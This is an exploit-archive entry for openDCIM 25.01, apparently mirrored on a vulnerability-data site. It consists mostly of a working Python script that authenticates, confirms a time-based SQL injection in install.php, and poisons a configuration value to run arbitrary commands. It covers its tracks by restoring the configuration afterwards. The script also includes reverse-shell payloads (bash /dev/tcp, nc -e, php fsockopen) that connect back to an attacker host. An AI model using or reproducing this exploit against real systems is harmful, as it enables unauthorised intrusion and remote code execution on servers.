==================================================================================================================================
| # Title : openDCIM 25.01 Python Exploit – Authenticated & Time-Based Detection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://opendcim.org/downloads.html |
==================================================================================================================================
[+] Summary : This Python script is a security exploitation tool targeting a logical SQL Injection vulnerability in openDCIM’s install.php endpoint, which can be escalated to Remote Code Execution (RCE).
[+] POC :
#!/usr/bin/env python3
import sys
import re
import time
import random
import string
import requests
import urllib3
import argparse
from urllib.parse import urljoin
from base64 import b64encode
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Color:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
PURPLE = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
def print_success(msg):
print(f"{Color.GREEN}[+]{Color.RESET} {msg}")
def print_error(msg):
print(f"{Color.RED}[-]{Color.RESET} {msg}")
def print_status(msg):
print(f"{Color.BLUE}[*]{Color.RESET} {msg}")
def print_warning(msg):
print(f"{Color.YELLOW}[!]{Color.RESET} {msg}")
class OpenDCIMExploit:
LDAP_FIELDS = [
'LDAPServer', 'LDAPBaseDN', 'LDAPBindDN', 'LDAPSessionExpiration',
'LDAPSiteAccess', 'LDAPReadAccess', 'LDAPWriteAccess', 'LDAPDeleteAccess',
'LDAPAdminOwnDevices', 'LDAPRackRequest', 'LDAPRackAdmin',
'LDAPContactAdmin', 'LDAPSiteAdmin'
]
DOT_PARAM = 'dot'
SQLI_WRAP = ['" WHERE 1=0; ', ' -- ']
def __init__(self, target_url, username, password, verify_ssl=False, timeout=30):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.verify_ssl = verify_ssl
self.timeout = timeout
self.session = requests.Session()
self.backup_table = None
self.authenticated = False
def _get_install_url(self):
return urljoin(self.target_url, 'install.php')
def _get_report_url(self):
return urljoin(self.target_url, 'report_network_map.php')
def _get_login_url(self):
return urljoin(self.target_url, 'index.php')
def authenticate(self):
print_status(f"Authenticating as {self.username}...")
try:
response = self.session.get(self._get_login_url(), verify=self.verify_ssl, timeout=self.timeout)
csrf_token = None
csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', response.text)
if csrf_match:
csrf_token = csrf_match.group(1)
login_data = {
'user_login': self.username,
'user_password': self.password,
'submit': 'Login'
}
if csrf_token:
login_data['csrf_token'] = csrf_token
response = self.session.post(
self._get_login_url(),
data=login_data,
verify=self.verify_ssl,
timeout=self.timeout,
allow_redirects=True
)
if 'logout' in response.text.lower() or 'dashboard' in response.text.lower():
print_success("Authentication successful")
self.authenticated = True
return True
else:
print_warning("Authentication may have failed, but continuing anyway...")
return False
except Exception as e:
print_warning(f"Authentication error: {e}")
return False
def _inject_sql(self, field, sql_query):
form_data = {'ldapaction': 'Set'}
for field_name in self.LDAP_FIELDS:
form_data[field_name] = ''
form_data[field] = f"{self.SQLI_WRAP[0]}{sql_query}{self.SQLI_WRAP[1]}"
try:
response = self.session.post(
self._get_install_url(),
data=form_data,
verify=self.verify_ssl,
timeout=self.timeout,
allow_redirects=True
)
return response.status_code in [200, 302]
except Exception as e:
print_error(f"SQL injection failed: {e}")
return False
def check_vulnerability(self):
print_status("Checking if target is vulnerable...")
try:
response = self.session.get(self._get_install_url(), verify=self.verify_ssl, timeout=self.timeout)
if response.status_code not in [200, 302]:
print_error(f"install.php returned status {response.status_code}")
return False
body = response.text
if not any(k in body for k in ['ldapaction', 'openDCIM', 'Upgrade']):
print_warning("install.php doesn't look like openDCIM")
return False
except Exception as e:
print_error(f"Failed to access install.php: {e}")
return False
print_success("install.php is accessible")
print_status("Testing time-based SQL injection...")
success = 0
for i in range(3):
sleep_time = random.randint(1, 3)
start = time.time()
self._inject_sql(
random.choice(self.LDAP_FIELDS),
f"SELECT SLEEP({sleep_time})"
)
elapsed = time.time() - start
if elapsed >= sleep_time:
success += 1
print_success(f"Delay detected ({elapsed:.1f}s)")
else:
print_warning(f"No delay detected ({elapsed:.1f}s)")
return success == 3
def backup_config(self):
self.backup_table = ''.join(random.choices(string.ascii_lowercase, k=8))
print_status(f"Creating backup table: {self.backup_table}")
sql = (
f"DROP TABLE IF EXISTS {self.backup_table}; "
f"CREATE TABLE {self.backup_table} AS "
f"SELECT Parameter, Value FROM fac_Config "
f"WHERE Parameter LIKE 'LDAP%' OR Parameter = '{self.DOT_PARAM}'"
)
return self._inject_sql('LDAPServer', sql)
def poison_dot(self, command):
escaped = command.replace('\\', '\\\\')
print_status(f"Poisoning dot parameter...")
sql = f"UPDATE fac_Config SET Value = '{escaped}' WHERE Parameter = '{self.DOT_PARAM}'"
return self._inject_sql('LDAPBaseDN', sql)
def restore_config(self):
if not self.backup_table:
return False
print_status("Restoring configuration...")
sql = (
f"UPDATE fac_Config c INNER JOIN {self.backup_table} b "
f"ON c.Parameter = b.Parameter SET c.Value = b.Value; "
f"DROP TABLE IF EXISTS {self.backup_table}"
)
return self._inject_sql('LDAPSiteAdmin', sql)
def trigger_execution(self):
try:
r = self.session.get(self._get_report_url(),
params={'format': '0', 'containerid': '1'},
verify=self.verify_ssl,
timeout=self.timeout)
return r.text.strip()
except:
return None
def execute_command(self, command):
print_status(f"Executing: {command}")
if not self.backup_config():
return None
if not self.poison_dot(command + " #"):
self.restore_config()
return None
output = self.trigger_execution()
self.restore_config()
return output
def reverse_shell(self, lhost, lport, shell_type='bash'):
payloads = {
'bash': f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
'nc': f"nc -e /bin/sh {lhost} {lport}",
'python': f"python3 -c 'import socket,subprocess,os; ...'",
'php': f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
}
if shell_type not in payloads:
return False
print_status(f"Reverse shell: {lhost}:{lport}")
print_warning(f"Make sure listener is running (nc -lvnp {lport})")
self.execute_command(payloads[shell_type])
return True
def main():
parser = argparse.ArgumentParser()
parser.add_argument('target')
parser.add_argument('username')
parser.add_argument('password')
parser.add_argument('command', nargs='?', default='id')
args = parser.parse_args()
print("=" * 60)
print("openDCIM SQLi RCE Exploit")
print("=" * 60)
exploit = OpenDCIMExploit(args.target, args.username, args.password)
exploit.authenticate()
if not exploit.check_vulnerability():
print_error("Not vulnerable")
sys.exit(1)
output = exploit.execute_command(args.command)
if output:
print("\n[OUTPUT]\n", output)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation